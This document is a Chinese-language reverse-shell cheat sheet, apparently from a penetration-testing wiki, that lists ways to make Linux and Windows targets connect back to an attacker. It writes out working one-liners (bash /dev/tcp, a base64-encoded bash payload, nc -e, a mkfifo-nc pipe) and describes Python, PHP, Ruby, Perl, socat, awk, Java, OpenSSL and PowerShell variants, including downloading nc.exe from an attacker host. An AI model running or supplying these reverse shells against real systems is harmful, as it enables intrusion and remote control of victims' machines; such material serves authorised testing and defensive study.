反弹shell总结

Linux

bash反弹

bash -i >& /dev/tcp/ip_address/port 0>&1
  1. bash -i 打开一个交互的bash

  2. & 将标准错误输出重定向到标准输出

  3. /dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口

  4. 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

在特殊情况可以使用base64编码执行bash反弹shell

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

nc反弹

nc -e /bin/sh 192.168.0.8 7777
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  1. rm /tmp/f:删除/tmp/f文件。

  2. mkfifo /tmp/f:创建名为/tmp/f的管道。

  3. cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f:通过管道实现反向 shell,从远程主机10.0.0.1的端口1234读取命令,并通过/bin/sh命令执行,并将输出结果写入管道/tmp/f。

curl反弹

Kali开启apache服务,把bash命令写入html文件,只要文本包含bash一句话即可。

whois反弹

反弹的shell只能执行后面带的命令

python反弹

  1. python -c:执行后面的 Python 代码。

  2. import socket,subprocess,os:导入 Python 标准库中的 socket、subprocess 和 os 模块。

  3. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM):创建一个 TCP 套接字。

  4. s.connect(("192.168.0.8",7777)):连接到远程主机 192.168.0.8 的 7777 端口。

  5. os.dup2(s.fileno(),0):将标准输入重定向到套接字。

  6. os.dup2(s.fileno(),1):将标准输出重定向到套接字。

  7. os.dup2(s.fileno(),2):将标准错误重定向到套接字。

  8. p=subprocess.call(["/bin/sh","-i"]):执行/bin/sh命令,并以交互模式运行。

PHP反弹

  1. php -r:执行后面的 PHP 代码。

  2. $sock=fsockopen("192.168.0.8",7777):打开一个到 192.168.0.8 的 7777 端口的 socket 连接。

  3. exec("/bin/sh -i <&3 >&3 2>&3"):执行/bin/sh命令,并以交互模式运行,并通过 socket 连接读写数据。

  1. php -r:执行后面的 PHP 代码。

  2. $s=fsockopen("10.10.10.11",443):打开一个到 10.10.10.11 的 443 端口的 socket 连接。

  3. $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes):通过 socket 连接执行/bin/sh命令,并以交互模式运行。

  1. php -r:执行后面的 PHP 代码。

  2. $s=fsockopen("10.10.10.11",443):打开一个到 10.10.10.11 的 443 端口的 socket 连接。

  3. shell_exec("/bin/sh -i <&3 >&3 2>&3"):通过 socket 连接执行/bin/sh命令,并以交互模式运行。

  1. php -r:执行后面的 PHP 代码。

  2. $s=fsockopen("10.10.10.11",443):打开一个到 10.10.10.11 的 443 端口的 socket 连接。

  3. /bin/sh -i <&3 >&3 2>&3:通过 socket 连接执行/bin/sh命令,并以交互模式运行。

  1. php -r:执行后面的 PHP 代码。

  2. $s=fsockopen("192.168.32.130",7777):打开一个到 192.168.32.130 的 7777 端口的 socket 连接。

  3. system("/bin/sh -i <&3 >&3 2>&3"):通过 socket 连接执行/bin/sh命令,并以交互模式运行。

  1. php -r:执行后面的 PHP 代码。

  2. $s=fsockopen("192.168.32.130",7777):打开一个到 192.168.32.130 的 7777 端口的 socket 连接。

  3. popen("/bin/sh -i <&3 >&3 2>&3", "r"):通过 socket 连接执行/bin/sh命令,并以读取模式打开。

ruby反弹

  1. ruby -rsocket:使用 Ruby 命令行工具,并加载 socket 库。

  2. exit if fork:父进程退出。

  3. c=TCPSocket.new("192.168.32.130","7777"):打开一个到 192.168.32.130 的 7777 端口的 TCP socket 连接。

  4. while(cmd=c.gets):循环读取从 socket 中获得的命令。

  5. IO.popen(cmd,"r"):通过命令行执行 cmd,并以读取模式打开。

  6. c.print io.read:将 IO 对象读取的结果通过 socket 返回。

telnet反弹

攻击者主机上打开两个终端分别执行监听:

目标主机中执行:

监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip

反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。

  1. mknod a p:创建一个名为 "a" 的管道文件。

  2. telnet 192.168.32.130 7777:打开一个到 192.168.32.130 的 7777 端口的 Telnet 连接。

  3. 0<a:将管道文件 "a" 的标准输入重定向到 Telnet 连接。

  4. /bin/bash 1>a:将 /bin/bash 的标准输出重定向到管道文件 "a"。

perl反弹

这段代码是一段perl脚本,用于远程命令执行。它使用了Socket库,并连接到地址为192.168.32.130,端口为7777的服务器。如果连接成功,它将使用/bin/sh -i命令替换当前程序,并重定向标准输入,输出和错误流到连接的套接字。

这是一个Perl代码片段,它使用了IO库,在本地创建一个新的进程,并使用TCP协议连接到IP地址为"192.168.32.130",端口为7777的远程主机。一旦连接成功,将标准输入,输出和错误重定向到该连接,并执行"/bin/sh -i"命令。

这段代码是在使用Perl编写的代码。它连接到一个IP地址为192.168.32.130,端口为4444的服务器,并使用"IO::Socket::INET"模块创建一个套接字。它进一步将标准输入和标准输出重定向到该套接字,并在套接字上执行来自标准输入的命令。

socat反弹

攻击机开启本地监听

目标机主动连接攻击机

这是一段使用 socat 的命令,它将创建一个 TCP 连接到 IP 为 192.168.32.130,端口为 9999 的主机。然后它执行一个带有参数的 bash 脚本,并且通过 pty、stderr、setsid、sigint 和 sane 等参数来设置这个 shell 的环境。

image-20220728105520220

awk反弹

这是一个使用awk脚本连接到远程主机并执行命令的代码片段。它连接到 IP 地址为192.168.32.130,端口为 7777 的远程主机,并在连接成功后不断循环,输出 "shell>" 提示符并等待输入,一旦收到输入,就将其发送到远程主机并打印任何输出。如果输入的是 "exit",则关闭连接并退出循环。

TCL脚本反弹shell

这是一段使用 Tcl 语言的代码,它会连接到 IP 地址为 192.168.32.130,端口为 7777 的主机。当连接成功后,它会不断输出 "shell>",读取远程主机的输入并执行命令。每当执行完一条命令后,它会将结果再发送回远程主机,并再次读取命令。当远程主机输入 "exit" 时,它会关闭连接并结束执行。

msfvenom

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹shell一句话的payload:

如上图所示,metasploit支持生成反弹shell一句话的类型非常丰富,大家可以依据渗透测试对象自行选择使用。比如,我们获取一个python反弹shell的一句话:

将生成的python反弹shell的一句话在目标主机上执行即可:

Java

这是一段 Java 代码,通过使用 Runtime 类的 exec 方法来执行一个命令。该命令使用 /bin/bash 进行交互,并打开一个 TCP 连接到 192.168.32.130 的 4444端口。从该连接读取的每一行都会被执行,其结果将通过连接写回。该代码使用 waitFor 方法来等待命令完成。

OpenSSL反弹加密

在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:

假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 7777端口:

此时 OpenSSL 便在攻击机的 7777端口上启动了一个 SSL/TLS server。

这时在目标机进行反弹 shell 操作,命令为:

XTERM

这是一种利用X Server漏洞的攻击方法,攻击者会安装Xnest并打开一个X Server监听在TCP端口6001,然后在本地打开一个xterm授权目标IP连接,然后目标机在X Server上运行xterm,连接回攻击者的X Server,进而执行恶意命令。

Windows

powershell反弹

这是一段使用 PowerShell 脚本连接到 IP 地址为 192.168.32.130,端口为 7777 的目标主机并执行命令的代码。 它创建一个 TCP 客户端连接到目标主机,并通过该连接获取流数据。然后,通过循环读取流中的数据并执行命令,将结果发送回流中。最后关闭 TCP 客户端连接。

这是一段 PowerShell 脚本,作用是创建一个 TCP 客户端连接到 IP 为 192.168.32.130,端口为 7777 的服务器。该客户端循环读取从服务器发送的数据,并将其作为 PowerShell 命令进行执行,将执行结果再发送回服务器。该脚本运行结束后关闭客户端连接。

这是一段 PowerShell 脚本,它创建一个 TCP 客户端,连接到 IP 为 192.168.32.130,端口为 1234 的服务器。脚本执行以下操作:

  1. 如果客户端创建失败,则退出脚本。

  2. 创建一个字节数组用于存储从服务器读取的数据。

  3. 创建一个 ASCII 编码的对象,用于将读取的字节数据转换为字符串。

  4. 循环从服务器读取数据,并将读取的字符串作为 PowerShell 命令执行,将执行结果写回服务器。当读取的字符串为 "exit" 时,退出循环。

  5. 关闭客户端连接。

这是一段 PowerShell 脚本,它创建了一个认证凭证对象,用于连接到名为 "sectest\hack" 的用户,并使用 "password" 作为密码。 然后,使用 Invoke-Command 命令在远程计算机 "Fidelity" 上执行两个命令:

  1. 使用 IWR 命令从 http://192.168.32.130:8000/nc.exe 下载文件到 C:\temp\nc.exe。

  2. 使用 cmd.exe 运行 C:\temp\nc.exe,并执行从 10.10.16.2 的 7777 端口连接到本地 cmd.exe 的命令。

注意:在执行此脚本前,请确保您有使用 Invoke-Command 命令的权限,并且可以访问远程计算机 "Fidelity"。

perl反弹

这是一段Perl代码,它创建了一个IO::Socket::INET对象,连接到IP地址为192.168.32.130,端口为443的主机。然后它通过标准输入(STDIN)与标准输出($~)关联了套接字的读取和写入。最后,它使用system函数一直读取输入,并在读取到输入时执行命令。

ruby反弹

这是一段Ruby代码,它创建了一个TCPSocket对象,连接到IP地址为192.168.32.130,端口为4444的主机。它进入一个循环,每次从套接字中读取命令(cmd),然后使用IO.popen执行该命令,并读取输出。最后,它通过套接字将读取的输出发送回主机。

ConPtyShell

ConPtyShell 是适用于 Windows 系统的完全交互式反向 Shell。

要求:客户端:Windows 版本 >= 10 / 2019 1809(内部版本 >= 10.0.17763)

kali

受害机

image-20220728113134487
image-20220728113154308

nishang

这是一段 PowerShell 代码,它的作用是从 GitHub 下载一个名为 Invoke-PowerShellTcp.ps1 的脚本并执行,并通过反向连接的方式连接到 IP 地址为 192.168.32.130,端口为 4444 的主机。

最后更新于

这有帮助吗?